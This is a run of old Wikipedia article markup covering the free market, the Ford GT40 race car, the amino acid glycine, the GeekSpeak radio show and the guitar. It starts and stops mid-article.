Support for the free market as an ordering principle of society is above all associated with [[liberalism]], especially during the [[19th century]]. In Europe, the term 'liberalism' retains its [[connotation]] as the ideology of the free market, but in American usage it came to be associated with government intervention, and acquired a [[pejorative]] meaning for supporters of the free market. Later ideological developments, such as [[minarchism]] and [[libertarianism]] also support the free market, and insist on its pure form. Although the [[Western world]] shares a generally similar form of economy, usage in the United States is to refer to this as [[capitalism]], while in Europe 'free market' is the preferred neutral term. 

[[Marxism]], [[communism]], and [[socialism]] are usually seen as the main ideological opponents of the free market. [[New liberalism|Modern liberalism]] (American usage), and in Europe [[social democracy]], seek only to mitigate what they see as the problems of an unrestrained free market, and accept its existence as such. To most right-wing [[libertarian]]s, there is simply no free market yet, given the degree of state intervention in even the most 'capitalist' of countries. From their perspective, those who say they favor a &quot;free market&quot; are speaking in a relative, rather than an absolute, sense -- meaning (in libertarian terms) they wish that [[coercion]] be kept to the minimum that is necessary to maximize economic freedom (such necessary coercion would be taxation, for example) and to maximize market efficiency by lowering trade barriers, making the tax system neutral in its influence on important decisions such as how to raise capital, e.g., eliminating the [[dividend tax|double tax]] on dividends so that equity financing is not at a disadvantage vis'a'vis debt financing. However, there are some such as [[anarcho-capitalists]] who would not even allow for taxation and governments, instead preferring protectors of economic freedom in the form of private contractors.

The ethical [[justification]] of free markets takes two forms. One appeals to the intrinsic moral superiority of [[autonomy]] and freedom (in the market), see [[deontology]]. The other is a form of [[consequentialism]] - a belief that decentralised planning by a multitude of individuals making free economic decisions produces ''better results'' in regard to a more organized, efficient, and productive economy, than does a centrally-planned economy where a central agency decides what is produced, and allocates goods by non-price mechanisms. An older version of this argument is the [[metaphor]] of the [[Invisible Hand]], familiar from the work of [[Adam Smith]], although it is older. In Smith's time there were no centrally planned economies to serve as a comparison, he was simply arguing that the market benefits the [[common good]]. Modern theories of ''[[self-organization]]'' say the internal organization of a system can increase automatically without being guided or managed by an outside source. When applied to the market, as an ethical justification, they are appealing primarily to its [[intrinsic value]] as a self-organising entity. Intense admiration for these abilities of the market became a characteristic of some pro-market argument in the 1990's, especially among those who saw the [[internet]] as a form of perfect market.

==Legal tender and taxes in a pure free market == 

Some people believe that money, in a truly free market economy, is not monopolized by [[legal tender]] laws or by a central money maker authority which coerces society to use its own money as the unique medium of exchange in trades, in order to receive [[Value added tax|taxes]] from the transactions or to be able to issue [[loan]]s. 

On the other hand, the so called &quot;coercion&quot; of taxes is arguably essential for the market's survival, and a market free from taxes may lead to no market at all. It is obvious that there is no market without private property and it is also obvious that private property itself can only exist while there is someone to defend it and define it. Traditionally, the State defends private property and defines it by issuing ownership titles, and also nominates the central authority to print or mint currency. It is reasonable to coerce people who are doing their exchanges and their trades to give something back in return for the state defense and definition of the money or of the real estate property they gained during those trades. If no taxes are given back to the state then the state collapses. The state's collapse causes private property such as money or real estate to be undefined, and without money or real property, the market, too, may collapse. After the state's collapse only movable goods such as [[energy source]]s or [[information]] or [[weapons]] can (if stored carefully) still remain privately owned and become the subject of a new stateless market. 

&quot;Free market anarchists&quot; disagree with the above assessment, as they maintain that private property and free markets can be protected by voluntarily-funded services under the concept of [[individualist anarchism]]'' and ''[[anarcho-capitalism]]''. A free market could be defined alternatively as a tax-free market, independent of any central authority, which uses as medium of exchange one or several objects (real or virtual ones) that hold the three properties of money (store value, medium of exchange, and unit of account) along with a fourth property of use value (such as energy) or being trusted (as gold was in antiquity) even in the absence of the State. It is disputed, however, whether this hypothetical stateless market could function freely, without coercion and violence.

==Opposition towards free markets==
Critics of laissez-faire variously see the &quot;free market&quot; as an impractical ideal or as a [[rhetorical device]] that puts the concepts of [[freedom]] and anti-[[protectionism]] at the service of vested wealthy interests, allowing them to attack [[labor law]]s and other protections of the [[working class]]es. For example, investment advisor [[Martin J. Whitman]] considers free markets an impracticable ideal: &quot;Corporate America would not work at all unless many activities continued to be coercive.&quot;&lt;ref&gt;Martin J. Whitman, Third Avenue Value Fund letter to shareholders October 31, 2005. p.6.&lt;/ref&gt;
In a different critique, [[Noam Chomsky]] argues that the wealthy use free-market rhetoric to justify imposing greater economic [[risk]] upon the lower classes, while being insulated from the rigours of the market by the political and economic advantages that such wealth affords. As the notable political [[activism|activist]] [[Noam Chomsky]] remarked, &quot;the free market is [[socialism]] for the [[wealthy|rich]]&amp;mdash;[free] markets for the poor and state [[protectionism|protection]] for the rich.&quot;&lt;ref&gt;Takis Michas, &quot;The Other Chomsky&quot;, ''[[Wall Street Journal]]'', November 4, 2005. [http://www.chomsky.info/onchomsky/20051104.htm Reproduced on Chomsky's official site].&lt;/ref&gt;&lt;ref&gt;Noam Chomsky, &quot;The Passion for Free Markets&quot;, ''[[Z Magazine]]'', May 1997. [http://www.chomsky.info/articles/199705--.htm Reproduced on Chomsky's official site].&lt;/ref&gt;

==Notes==
&lt;references /&gt;

==See also==
*[[Economics]]
*[[Adam Smith]]
*[[Capitalism]]
*[[History of theory of capitalism]]
*[[Political Economy]]
*[[Karl Marx]]
*[[Economic liberalism]] 
*[[Liberalism]] 
*[[Market economy]]
*[[Neoliberalism]]
*[[Neoconservatism in the United States]]
*[[Austrian School]]
*[[Anarcho-capitalism]]
*[[Free-market anarchism]]
*[[Free trade]]
*[[Friedrich Hayek]]
*[[Game theory]]
*[[Heritage Foundation]]
*[[LIEO]]
*[[Libertarianism]]
*[[Milton Friedman]]
*[[Minarchism]]
*[[Ludwig von Mises]]
*[[Negative liberty]]
*[[Night watchman state]]
*[[Nash equilibrium]]
*[[School of Salamanca]]
*[[Self-organization]]
*[[Transparency (market)]]
*[[Underground economy]]
*[[Voluntaryism]]
*[[Open Source Initiative]]
*[[Non-profit organization]]

===Contrast===
*[[Communism]]
*[[Gift economy]]
*[[Libertarian socialism]]
*[[Market abolitionism]]
*[[Market socialism]]
*[[Mixed economy]]
*[[Participatory economy]]
*[[Planned economy]]
*[[Socialism]]
*[[Statism]]
*[[Subsistence economy]]

==External links==
*[http://www.econlib.org/library/Enc/FreeMarket.html Free Market] by [[Murray N. Rothbard]]
*[http://www.freemarketdoctors.blogspot.com Free Market Doctors] Utilizing the ideals of a free-market economy to revitalize the healthcare industry
*[http://globalpolitician.com/articles.asp?ID=145 In Defense of the Free Market]
*[http://www.mises.org Mises.org] is the official website of the [[Ludwig von Mises Institute]] for [[Austrian School|Austrian economics]] and [[classical liberalism]]
*[http://www.dallasfed.org/educate/free/index.html Free Enterprise: The Economics of Cooperation] Looks at how communication, coordination and cooperation interact to make free markets work
*[http://www.heritage.org/research/features/index/ IEF]
*[http://www.sprott.com/pdf/pressrelease/TheVisibleHand.pdf ''Move Over, Adam Smith: The Visible Hand of Uncle Sam] Report concludes that the U.S. government surreptitiously intervenes in the American stock market
*[http://www.fff.org/freedom/0292d.asp ''Fair versus Free''] by [[Milton Friedman]]

[[Category:Capitalism]]
[[Category:Markets]]

[[de:Freier Markt]]
[[es:Libre mercado]]
[[he:כלכלת שוק]]
[[id:Pasar bebas]]
[[is:Frjáls markaður]]
[[ja:自由市場]]
[[lt:Laisvoji rinka]]
[[mk:Слободен пазар]]
[[nl:Vrije markt]]
[[pl:Wolny rynek]]
[[pt:Economia de mercado]]
[[sk:Voľný trh]]
[[sv:Fri marknad]]
[[th:ตลาดเสรี]]</text>
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    <title>Frederick I of Brandenburg</title>
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    <title>Ford GT40</title>
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      <comment>Ced. Wikify dates</comment>
      <text xml:space="preserve">:''For the concept car presented as the Ford GT40 on the auto show circuit in 2002, see [[Ford GT]].''

[[Image:Ford GT40.jpg|thumb|right|250px|GT40 Mk II front. This car won the 24h of Daytona 1966 driven by Ken Miles and Loyd Ruby, giving Ford its first victory in a 24 hour race. (Serial Number GT-40 P 1015 Mk. II)]]
[[Image:Ford GT40 (rear).jpg|thumb|right|250px|GT40 Mk II rear]]

The '''[[Ford Motor Company|Ford]] GT40''' was a notable [[sports car]] and winner of the [[24 hours of Le Mans]] four times in a row, from [[1966]] to [[1969]]. It was built to win long-distance [[sports car racing|sports car races]] against [[Ferrari]] (who won at [[List of Le Mans 24h winners|Le Mans]] six times in a row from 1960 to 1965).

The car was named the '''GT40''' after the [[Gran Turismo|Grand Tourisme]] category it was intended to compete in (in fact regulations were changed the car was never homologated in GT) and its overall height of 40 inches (1.02 m, measured at the windscreen) as required by the rules. Large-capacity Ford V8 engines (4.7&amp;nbsp;L and 7&amp;nbsp;L) were used, compared with the Ferrari V12 which had 3.0 L or 4.0 L.

Early cars were simply named &quot;Ford GT&quot; the name GT40 was introduced with the production of the stock Mk. 1.

The contemporary [[Ford GT]] is a modern homage to the GT40.

==History==
[[Henry Ford II]] had wanted a Ford at Le Mans since the early [[1960s]].

Initially, Ford attempted to buy Ferrari. Much to the surprise of Ford who expected long negotiations, the proposal was welcomed by [[Enzo Ferrari]]. A deal had been all but agreed on when Ferrari called the merger off in [[1963]], after an agreement with [[Fiat]] that gave some financial backing to Ferrari, while preserving Ferrari's independance.

Ford had been manipuled to rise the bids with Ferrari and a frustrated Henry Ford II, decided to produce its own car instead. To this end Ford began negotiation with [[Lotus Cars|Lotus]], [[Lola]], and [[Cooper Car Company|Cooper]]. Cooper had no experience in GT or prototype and its performances in [[Formula One]] were declining.

Lotus was already Ford partner for their Indy 500 project. While Ford executives had already doubt on the ability of Lotus to handle this new project. [[Colin Chapman]] had probaly similar views as he asked a high price for his contribution and insisted that the car should be named Lotus and not Ford, an attitude that can be viewed as polite refusal. 

The Lola proposal was chosen, since Lola had used a Ford V8 engine in their mid-engined Lola Mk 6 (also known as Lola GT) one of the most advanced racing car of the time that made a noted performance in Le Mans 1962, even if the car didn't finish. However Broadley agreed on a short-term personal contribution to the project without involving Lola cars.

The agreement with Lola cars manager Eric Broadley included a one year collaboration between Ford and Broadley and the sale of the two Lola Mk 6 chassis built to Ford. To form the developpement team Ford also hired the already ex-Aston Martin team manager John Wyer and Ford Motor Co. engineer Roy Lunn was sent to England. Lunn had designed the mid-engined Mustang 1 concept car povered by  1,7 L V4. Despite the small engine of the Mustang 1, Lunn was the only Dearborn's engineer to have some experience with a mid-engined car.

Broadley, Lunn and Wyer began working on the new car at Lola Factory in Bromley. At the end of 1963 the team moved at [[Slough]], [[England]] near Heathrow airport. Ford established a new subsidiary under the direction of Wyer, '''Ford Advanced Vehicles Ltd''' to manage the project.

The first chassis built by Abbey Panels of Coventry was delivered on [[March 16]] [[1963]]. The first &quot;Ford GT&quot; the GT/101 was unveiled in England on April first and soon after exhibited in New York.

The car was powered by the 4.2 L Fairline engine with a Colotti transaxle, the same power plant was used by the Lola GT and the single-seater Lotus 38 that would go on to become the first mid-engined car to ever win at the Indy 500 in 1965.

The Ford GT was first raced in May 1964 at the [[Nürburgring]] ''1000 km race'' and later at the [[24 Hours of Le Mans]], and was not very successful with all three cars retiring. The experience gained then and in 1965 allowed the Mk II to dominate the race in 1966 with a 1-2-3 finish. The Mk IV, a newer design with a Mk II engine but a different chassis and a different body, won the following year (when four Mark IVs, three Mark IIs and three Mark Is raced). 

After a rules change for 1968 which limited the capacity of prototypes to 3.0 L  (same as in [[Formula One]]), but allowed a maximum of 5.0 L capacity for the Sports category (where at least 50 cars had been built), a revised 4.7 L Mk I won the [[24 hours of Le Mans]] race in 1968 against the fragile smaller prototypes. In 1969, facing more experienced prototypes and the new yet still unreliable 4.5 L [[flat-12]] powered [[Porsche 917]]s, the winners Ickx/Oliver managed to beat the remaining 3.0 L [[Porsche 908]] by just a few seconds with the already outdated GT40. Apart from brake wear in the Porsche and the decision not to change pads so close to the race end, the winning combination was relaxed driving by both GT40 drivers and heroic efforts at the right time by (at that time Le Mans' rookie) [[Jacky Ickx]], who would win Le Mans 5 times more in later years. In 1970, the revised [[Porsche 917]] dominated and the GT40 became obsolete.

==Various versions==
The Mk I is the original Ford GT40. Early prototypes were by powered by 4.2 L (255 in³) engines; production models were powered by 4.7 L (289 in³) engines, also used in the [[Ford Mustang]]. Some prototypes models had A roadster bodywork.

The Ford X1 was a roadster built to contest the Fall 1965 North American Pro Series, a forerunner of the [[CanAm]], it was entered by Bruce McLaren team and driven by Chis Amon. The car had an aluminium chassis build at Abbey Panels and was originally powered by a 4.5 L (289ci) engine. The real purpose of this car was t test several improvements originating from either Kar Kraft, Shelby or McLaren. Several gearboxes were used, a Hewland LG500 and at least one but more probably several automatic gearboxes. It was later upgraded specification to the Mk II with a 7.0 L (427ci) engine and a standard four ratio Kar Kraft gearbox, however car kept specific features like its open roof and lightweight chassis. The car went on winning the 12H of Sebring 1966.

The Mk II used the 7.0 L (427 in³) engine from the [[Ford Galaxy]].

For Daytona 1967, two Mk II models (chassis 1016 and 1047) were branded [[Mercury (automobile)|Mercury]] 7.0 L. Mercury is a Ford Motor Company division, and this was only a cosmetic change. It made no difference anyway as Ferrari won 1-2-3.

The Mk III was a road-car only, of which 7 were built. The car had four headlights, the rear part of the body was expanded to make room for luggage, the 4.7 L engine was detuned to 335 bhp, the shocks were softened, the shift lever was moved to the center and the car was available with the steering wheel on the left side of the car. The most famous Mk III is GT40 M3 1105, a blue left hand drive model delivered in 1968 in [[Austria]] to [[Herbert von Karajan]]. As the Mk III wasn't very appealing aesthetically (it looked significantly different to the racing models), many customers interested in buying a GT40 for road use chose to buy a Mk I that was available from Wyer ltd in a street version.

The Ford J was tested in 1966 four cars were build around a specific chassis including honeycomb [[aluminium]] panels. Ken Miles was killed while testing the J-2 and the car was never raced.

The Mk IV was build around a reinforced J chassis powered by the same 7.0 L engine as the Mk II. Excluding the engine, the Mk IV was totally different from other GT40s, using a specific chassis and specific bodywork.

The Ford G7A was a Canam car using the J chassis.

==Chassis numbers==
Early chassis (commonly named prototype chassis) are branded GT and have a three-digit number (GT 101 to GT 112).
Among these chassis, at least two were made of aluminium, one was number 110 used on the X1.

Production chassis are branded GT 40 P (P for Production) and have a four-digit number (GT 40 P 1000 to GT 40 P 1086 and GT 40 P 1108 to 1114).

Prototype chassis and production chassis were built by Abbey Panels. Two Mark I lightweight chassis were build by Alan Mann Racing. They are numbered AM GT 1 and AM GT 2, and these chassis incorporate panels in elektron light alloy.

Mk IIs were built on a Mk I chassis with additional strengthening using random prototype or production chassis numbers, with the notable exception of the ex-X1 GT/110 build on an Abbey Panels lightweight chassis. However, as other Ford partners were overworked at that time, three chassis numbered XGT 1 to XGT 3 were built by Alan Mann Racing for Le Mans 1966. Unlike Alan Mann's Mark Is chassis, these chassis did not show any significant difference from those built by Abbey Panels for Kar Kraft.

GT40 Mk IIIs used chassis numbers GT 40 M3 1101 to GT 40 M3 1107.

Ford J, GT 40 Mark IV and G7A used J chassis twelwe chassis numbered J1 to J12 were built. J1 to J4 were build to J specification. J3 and J4 were later converted to the MkIV specications. J5 to J8 were build directly for the MkIV. J9 and J10 were build for the G7A. Some J11 and J12 were replacement chassis. A MkIV replica has been build around the J11 chassis.

Ford GT chassis numbers continue from the point that GT40 stopped.

==Replicas==
[[Image:1965 Ford GT40.jpg|thumb|right|250px|A &quot;Roaring Forties&quot; replica of a 1965 Ford GT40 in Shelby livery on display at the [[2005 United States Grand Prix]]]]

==Ford GT==
At the 1995 Detroit Motor Show, the [[Ford GT90]] concept was shown and at the 2002 [[Detroit Auto Show]], a new GT40 Concept was unveiled by Ford, similar to the original cars, but bigger, wider, and especially taller than the original 40 inches (1.02 m), so it might instead have been named GT43. This car was put on sale in 2003 as part of Ford's centenary. Curiously, Ford had never claimed &quot;GT40&quot; and therefore were not in a postion to protect this mark. A british company &quot;Safir Engineering&quot; did step up (1985) to protect this famous mark and through its designate Safir GT40 Spares this mark is still protected. Safir GT40 Spares offered to License GT40 for Ford's new GT automobile but Ford would only discuss total purchase of the Mark. Months of discusions followed where Safir GT40 Spares asked for a offer from Ford. No offer was ever made and the new Ford GT does not wear the badge GT40. The 40 million dollar demand story is catchy but has never been verified.

In november 2005 a Ford GT X1, a roadster version of the Ford GT was unveiled in Las Vegas. 

{| class=&quot;wikitable&quot;
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;7&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|Le Mans results
|-
|||||||colspan=&quot;2&quot;|Distance||colspan=&quot;2&quot;|Speed
|-
|Year|| Car||Drivers||miles||km||mph||km/h
|-
|1966||Mk&amp;nbsp;II||[[Chris Amon]], [[Bruce McLaren]]||3009.4||4,843.2||125.39||201.80
|-
|1967||Mk&amp;nbsp;IV||[[Dan Gurney]], [[A. J. Foyt]]||2630.2||4,232.9 ||135.48||218.03
|-
|1968||Mk&amp;nbsp;I||[[Pedro Rodriguez]], [[Lucien Bianchi]]||2766.9||4,452.9 ||115.29||185.54
|-
|1969||Mk&amp;nbsp;I||[[Jacky Ickx]], [[Jackie Oliver]]||3105.6||4,998.0 ||129.40||208.25
|-
|}

==Sources==
* Auto Passion n°49 July 1991 (in French)
* La Revue de l'Automobile historique n°7&amp;nbsp;March/April 2001 (in French)
* http://www.gizmag.co.uk/go/1230/1/

==External links==
* [http://www.gt40s.com/ World's Largest GT40 Web Community]
* [http://www.roaringforties.com.au/ The Roaring Forties GT40 Web Site]
* [http://www.drbsportscars.com/ GT40 Australia Web Site]

{{Ford}}

[[Category:Ford vehicles|GT40]]
[[Category:Sports cars]]
[[Category:Mid-engined vehicles]]

[[de:Ford GT40]]
[[sv:Ford GT40]]</text>
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  <page>
    <title>Glycine</title>
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      <comment>/* Presence in the Interstellar Medium */</comment>
      <text xml:space="preserve">{{dablink|This is an article about Glycine, the amino acid.  For the plant genus containing the [[soybean]], see [[Glycine (plant)]]}}

:&lt;span class=&quot;dablink&quot;&gt;''Not to be confused with [[Glycin]].''&lt;/span&gt;
&lt;div&gt;
&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
&lt;!-- Submit {{:subst:chembox_simple_organic}} to get this template or go to [[:Template:Chembox_simple_organic]]. --&gt;
{| align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090;&quot;
! {{chembox header}} | '''{{PAGENAME}}''' &lt;!-- replace if not identical with the article name --&gt;
|-
| [[IUPAC nomenclature|Chemical name]]
| Aminoethanoic acid
|-
| Abbreviations
| '''Gly&lt;br/&gt;G'''
|-
| [[Chemical formula]]
| C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;NO&lt;sub&gt;2&lt;/sub&gt;
|-
| [[Molecular mass]]
| 75.07 g mol&lt;sup&gt;-1&lt;/sup&gt;
|-
| [[Melting point]]
| 290 &amp;deg;C
|-
| [[Density]]
| 1.607 g cm&lt;sup&gt;&amp;minus;3&lt;/sup&gt;
|-
| [[Isoelectric point]]
| 5.97
|-
| [[Acid dissociation constant|p''K''&lt;sub&gt;a&lt;/sub&gt;]]
| 2.34&lt;br/&gt;9.58
|-
| [[Standard enthalpy change of formation|Standard enthalpy&lt;br/&gt; of formation]] &amp;Delta;&lt;sub&gt;f&lt;/sub&gt;''H''&amp;deg;&lt;sub&gt;solid&lt;/sub&gt;
| &amp;minus;528.6 kJ/mol
|-
| [[Standard enthalpy change of combustion|Standard enthalpy&lt;br/&gt; of combustion]] &amp;Delta;&lt;sub&gt;c&lt;/sub&gt;''H''&amp;deg;&lt;sub&gt;solid&lt;/sub&gt;
| &amp;minus;981.1 kJ/mol
|-
| [[CAS registry number|CAS number]]
| [56-40-6]
|-
{{EINECS Row|200-272-2}}
|-
| [[Simplified molecular input line entry specification|SMILES]]
| NCC(=O)O
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Glycine2.png|100px|Chemical structure of Glycine]][[Image:Glycine3d.png|100px|Chemical structure of the amino acid Glycine]]
|-
| {{chembox header}} | &lt;small&gt;[[wikipedia:Chemical infobox|Disclaimer and references]]&lt;/small&gt;
|-
|}
&lt;/div&gt;

'''Glycine''' ('''Gly''', '''G''') is a [[nonpolar]] [[amino acid]]. It is the simplest of the 20 standard ([[proteinogenic]]) amino acids: its [[side chain]] is a [[hydrogen]] [[atom]].
Because there is a second hydrogen atom at the &amp;alpha; [[carbon]], glycine is not [[optical isomerism|optically active]].

Since glycine has such a small side chain, it can fit into many places where no other amino acid can.
For example, only glycine can be the internal amino acid of a [[collagen helix]].

Glycine is very evolutionarily stable at certain positions of some [[protein]]s (for example, in [[cytochrome]] c, [[myoglobin]], and [[hemoglobin]]), because mutations that change it to an amino acid with a larger side chain could break the protein's structure.

Most proteins contain only small quantities of glycine. A notable exception is [[collagen]], which is about one-third glycine.

==Physiological function==
Glycine is an inhibitory [[neurotransmitter]] in the [[Central nervous system|CNS]], especially in the [[spinal cord]].  When glycine receptors are activated, Cl&lt;sup&gt;-&lt;/sup&gt; enters the neuron via ionotropic receptors, causing an [[inhibitory post-synaptic potential]] (IPSP). [[Strychnine]] is an antagonist at these ionotropic receptors. Its [[LD50]] is 0.96 mg/kg in rats, and it usually causes death by [[hyperexcitability]].  Glycine is a required  [[co-agonist]] along with [[glutamate|Glu]] in CNS. In contrast to the inhibitory role of glycine in the spinal cord, this behaviour is facilitated at the ([[NMDA]]) glutaminergic receptors which are excitatory.

Glycine is a non-essential amino acid, meaning that cells of the body can synthesize sufficient amounts to meet physiological requirements.

==Presence in the Interstellar Medium==
In 1994 a team of astronomers from the [[University of Illinois]], led by [[Lewis Snyder]], claimed that they had found the glycine molecule in space. It turned out that, with further analysis, this claim could not be confirmed. Nine years later, in 2003, [[Yi-Jehng Kuan]] from [[National Taiwan Normal University]] and Steve Charnley made the extraordinary claim that they detected interstellar glycine toward three sources in the [[interstellar medium]] (Kuan ''et al.'', 2003). They claimed to have identified 27 [[spectral]] lines of glycine utilizing a [[radio telescope]]. According to computer simulations and lab-based experiments, glycine was probably formed when ices containing simple organic molecules were exposed to [[ultraviolet light]] [http://www.newscientist.com/news/news.jsp?id=ns99992558].

In October of 2004, [[Lewis Snyder]] and his collaborators reinvestigated the glycine claim in Kuan ''et al.'' (2003). In a rigorous attempt to confirm the detection, Snyder ''et al.'' (2005) showed that glycine was not detected in any of the three claimed sources.

Should any glycine claim be substantiated, it does not prove that life exists outside the [[Earth]], but certainly makes that possibility more plausible by showing that amino acids can be formed in the interstellar medium. The finding would also indirectly support the idea of [[panspermia]], the theory that life was brought to Earth from space.

==References==
*Kuan YJ, Charnley SB, Huang HC, et al. (2003) Interstellar glycine. ASTROPHYS J 593 (2): 848-867
*Snyder LE, Lovas FJ, Hollis JM, et al. (2005) A rigorous attempt to verify interstellar glycine. ASTROPHYS J 619 (2): 914-930
*Dawson, R.M.C., Elliott, D.C., Elliott, W.H., and Jones, K.M., ''Data for Biochemical Research'' (3rd edition), pp. 1-31 (1986)

==External links==
*{{PubChemLink|750}}
*[http://www.pdrhealth.com/drug_info/nmdrugprofiles/nutsupdrugs/gly_0127.shtml PDRHealth - Glycine]
*[http://www.compchemwiki.org/index.php?title=Glycine Computational Chemistry Wiki]
*[http://www.chem.qmul.ac.uk/iubmb/enzyme/reaction/AminoAcid/GlyCleave.html Glycine cleavage system]

{{AminoAcids}}

[[Category:Neurotransmitters]]

[[de:Glycin]]
[[es:Glicina]]
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[[fr:Glycine (acide aminé)]]
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[[he:גליצין]]
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[[nl:Glycine (aminozuur)]]
[[no:Glycin]]
[[pl:Glicyna]]
[[ru:Глицин]]
[[fi:Glysiini]]
[[sv:Glycin]]
[[zh:甘氨酸]]</text>
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    <title>GeekSpeak</title>
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      <text xml:space="preserve">A radio program on the Central Coast of California, broadcast weekly by [http://kusp.org KUSP FM] in Santa Cruz since [[1998]] and distributed on the internet since [[2002]].

[http://geekspeak.org GeekSpeak] attempts to bridge the gap between geeks and the rest of humanity through an hour long talk radio program. The show's hosts are a group of local technology afficionados, many with industry experience, who offer light-hearted commentary on current news topics and events while delving deeper into specific areas each week with special guest interviews.

Broadcasts usually conclude with call-in advice, commentary and discussion by telephone and email. A fanbase has developed around the world, with show streams downloaded in excess of 100,000 times.

GeekSpeak was initially conceived and broadcast by Chris Neklason, Peggy Dolgenos and Mark Hanford of [http://www.cruzio.com Cruzio].

Currently, the moderator is [http://lyle.troxell.com/ Lyle Troxell]. [http://geekspeak.org/profiles/geeks/ GeekSpeak Co-Hosts] include:

- Drew Meyer with [http://netapp.com/ Network Appliance]

- Sean Cleveland with [http://nvidia.com Nvidia]

- Miles Elam with [http://surfcontrol.com Surf Control]

- John Tracy with [http://feltongames.com Felton Games] 

- Dedi Hubbard with [http://nyu.edu NYU]


See Also: [[Computer jargon]], [[Technobabble]]



&quot;Geekspeak®&quot; is a registered trademark of Online Today, Inc. and David Lawrence, and is used by permission.</text>
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    <title>Guitar</title>
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      <text xml:space="preserve">A '''guitar''' is a [[string instrument|stringed]] [[musical instrument]]. For right-handed players, the right hand plucks the strings with either the  [[fingerpicking|fingers]] or a [[plectrum]] ([[guitar pick]]), while the opposite applies for left handed players (in general). The sound is produced by [[vibrating string]]s, which in turn cause the body and neck of the instrument to resonate.

Guitars may be [[acoustic guitar|acoustic]], [[electric guitar|electric]] (i.e. with electrical amplification) or both. [[Classical guitar]]s are also present in the guitar family. Guitars have a '''body''' acting mostly as a [[resonator]], which can be hollow in acoustic guitars or solid in most electric guitars, and a '''neck'''. Typically, a '''headstock''' extends from the neck for tuning.  Guitars are made and repaired by [[luthiers]].

Guitars are used in a variety of musical styles. Guitars are widely known as a solo classical instrument, and the primary instrument in [[blues]] and [[rock music]].

[[Image:Super400.jpg|thumb|right|The [[acoustic archtop guitar]], used in [[Jazz music]], features [[steel string]]s.]]
__TOC__

==History==
[[image:Elam-tar.jpg|thumb|left|Figurines playing the ancestor of the Guitar. Excavated in [[Susa]], [[Iran]]. Dated 2000-1500 BCE. Kept at the [[National Museum of Iran]].]]
Instruments similar to what we know as the guitar have been popular for at least 5,000 [[year]]s. The guitar appears to be derived from earlier instruments known in ancient central Asia. Instruments very similar to the guitar appear in ancient carvings and statues recovered from the old [[Iran]]ian capitol of Susa. The modern word, ''guitar'', was adopted into English from Spanish, possibly from earlier Greek word ''kithara.'' Prospective sources for various names of musical instruments that ''guitar'' could be derived from what appear to be a combination of two [[Proto-Indo-European language|Indo-European]] roots: ''guit-'', similar to Sanskrit ''sangeet'' meaning &quot;''music''&quot;, and ''-tar'' a widely attested root meaning &quot;''chord''&quot; or &quot;''string''&quot;..

The word ''guitar'' may also be a [[Persian language|Persian]] [[loanword]] to [[Iberian Peninsula|Iberian]] [[Arabic language|Arabic]]. The word ''qitara'' is an [[Arabic language|Arabic]] name for various members of the [[lute]] family that preceded the Western guitar. The name ''guitar'' was introduced into [[Spanish language|Spanish]] when guitars were brought into [[Iberian Peninsula|Iberia]] by the [[Moors]] after the [[10th century]]. ([http://www.iranian.com/Music/2002/November/Guitar/index.html See related article]). 

[[Image:Jan Vermeer van Delft 013.jpg|thumb|right|The guitar player, by Jan Vermeer van Delft]]
The Spanish ''[[vihuela]]'' appears to be an intermediate form between the ancestral guitar and the modern guitar, with [[lute]]-style [[tuning]] and a small, but guitar-like body. It is not clear whether this represents a transitional form or simply a design that combined features from the two families of instruments. In favor of the latter view, the reshaping of the vihuela into a guitar-like form can be seen as a strategy of differentiating the European lute visually from the Moorish [[oud]]. (See the article on the '''[[lute]]''' for further history.) The Ancient Iranian lute, called ''[[tar (lute)|tar]]'' in [[Persian language|farsi]] also is found in the word guitar. The tar is thousands of years old, and could be found in 2, 3, 5, 6 string variations.

The [[electric guitar]] was invented by [[Anthony Vick]] of [[Winton, North Carolina]], with the help of [[George Beauchamp]] and Paul Berth, in [[1931]]. Rickenbacher was the inventor of the horseshoe-magnet pickup. However, it was [[Danelectro]] that first produced electric guitars for the wider public. Danelectro also pioneered [[Valve amplifier|tube amp]] technology.

==Parts of the guitar==
[[Image:Electric_guitar_parts.jpg|thumb|Parts of typical electric guitar, numbered]]
Guitar consists of several parts. Refer to appropriate article for description of a part:

# [[Headstock]]
# Nut
# [[Machine head]]s
# [[Fret]]s
# [[Truss rod]]
# [[Inlay (guitar)|Inlay]]s
# Neck and [[fretboard]]
# Neck joint
# Body
# [[Pickup (music)|Pickups]]
# Electronics
# Bridge
# [[Pickguard]]

[[Image:Guitar_headstock.jpg|thumb|left|The headstock of an electric guitar, featuring 6 in-line tuning machines.]]
=== Headstock === 
The headstock is located at the end of the guitar neck. It is fitted with the machine head for pitch adjusting. Traditional layout of tuners is &quot;3+3&quot; which means 3 top tuners and 3 bottom ones. Some electric guitars feature 6 in-line tuners or even 4+2.

===Nut===
The nut is a small strip of [[ivory]], bone, [[plastic]], [[brass]], [[graphite]], or other medium-hard material that braces the strings at the joint where the headstock meets the fretboard. It is grooved to hold the strings in place, and it is one of the endpoints of the strings' tension. The material used also affects the sound of the guitar.

===Fretboard=== 
Also called the '''fingerboard''', the [[fretboard]] is a long plank of wood embedded with metal frets that comprises the top of the neck. It is flat on classical guitars and slightly curved crosswise on acoustic and electric guitars. The curvature of the fretboard is measured by the fretboard radius, which is the radius of a hypothetical circle of which the fretboard's surface constitutes a segment. The smaller the fretboard radius, the more noticeably curved the fretboard is. Pinching a string against the fretboard effectively shortens the vibrating length of the string, producing a higher tone (a string, unfingered, will vibrate from the saddle to the nut; once fingered, it will vibrate only along the distance between the saddle and the fret directly before the finger). Fretboards are most commonly made of [[rosewood]], [[ebony]], [[maple]], and sometimes graphite.

===Frets===
